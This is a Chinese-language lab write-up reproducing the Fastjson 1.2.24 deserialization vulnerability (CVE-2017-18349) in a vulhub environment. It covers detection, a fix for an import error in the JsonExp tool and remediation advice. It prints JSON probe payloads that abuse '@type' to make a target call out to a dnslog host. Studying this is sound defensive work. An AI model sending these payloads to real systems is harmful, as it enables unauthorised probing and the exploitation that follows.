CVE-2017-18349(Fastjson 1.2.24反序列化漏洞)¶
漏洞描述¶
在 Fastjson 1.2.24 版本中,存在一个反序列化漏洞,该漏洞由 CVE-2017-18349 标识。这个漏洞是由于 Fastjson 在处理 JSON 数据时,对输入数据没有进行足够的验证和过滤,导致恶意用户可以构造特定的 JSON 数据,触发反序列化操作,进而执行任意代码。
漏洞产生的原因是 Fastjson 在解析 JSON 数据时,没有对输入进行足够的校验,允许恶意用户通过构造特定的 JSON 数据,利用 Java 反序列化漏洞来执行任意代码。Fastjson 在处理 JSON 数据时,会将输入数据转换成 Java 对象。在这个过程中,如果输入数据包含了恶意的类名或者方法名,就会被反序列化成对应的对象,进而执行恶意代码。
这个漏洞的影响范围很广,因为 Fastjson 是 Java 语言中广泛使用的 JSON 处理库。任何使用了 Fastjson 1.2.24 版本或更早版本的应用程序都可能受到攻击。攻击者可以利用这个漏洞,通过发送恶意的 JSON 数据,执行任意代码,获取系统权限,导致数据泄露等安全问题。
影响版本¶
- fastjson <= 1.2.24
环境配置¶
使用vulhub项目,docker-compose启动

漏洞复现¶

验证漏洞存在性¶
原请求如下:

现将请求改为POST,修改 Content-Type为: application/json

根据报错回显中含有fastjson或者com.alibaba.fastjson可以判断使用了fastjson,但具体版本无法判断
如果服务端关闭了错误回显,那么我们可以通过dnslog等带外的方式判断
JSON
{"aa":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"aa":{"@type":"java.net.Inet6Address","val":"dnslog"}}
//变换
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}
# 将dnslog替换为具体的网址


收到了请求,存在漏洞
漏洞利用¶
jsonexp¶
Bash
Traceback (most recent call last):
File "/Users/yifan/tools/JsonExp/JsonExp.py", line 6, in <module>
from lib.check import *
File "/Users/yifan/tools/JsonExp/lib/check/__init__.py", line 10, in <module>
from lib.interactsh import *
File "/Users/yifan/tools/JsonExp/lib/interactsh/__init__.py", line 15, in <module>
from Cryptodome.Cipher import AES, PKCS1_OAEP
ModuleNotFoundError: No module named 'Cryptodome'
使用时若存在以上报错,解决方法:
若安装了之后还是相同报错

Python
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
将原代码改为上述语句

此时能够正常使用
漏洞原理¶
修复建议¶
- 升级 Fastjson 到最新版本。Fastjson 官方已经发布了新版本,修复了这个问题。升级到最新版本可以确保你使用的是安全的版本,避免受到攻击。
- 对输入数据进行验证和过滤。在将 JSON 数据转换成 Java 对象之前,应该对输入数据进行严格的验证和过滤。确保输入数据中不包含恶意的类名或者方法名。可以使用正则表达式、白名单验证等方式来过滤输入数据。
- 限制反序列化的类。可以通过在 Java 反序列化时设置安全策略文件,限制可以被实例化的类。这样可以防止攻击者利用反序列化漏洞创建恶意对象。
- 使用安全的数据源。确保 JSON 数据来自可靠和受信任的来源,避免使用不可信的数据源。对从外部获取的 JSON 数据进行验证和过滤,确保数据的安全性。
- 保持其他相关组件的更新。除了 Fastjson 外,还有其他组件可能存在安全漏洞。保持应用程序中所有组件的更新,可以确保其他组件的安全性。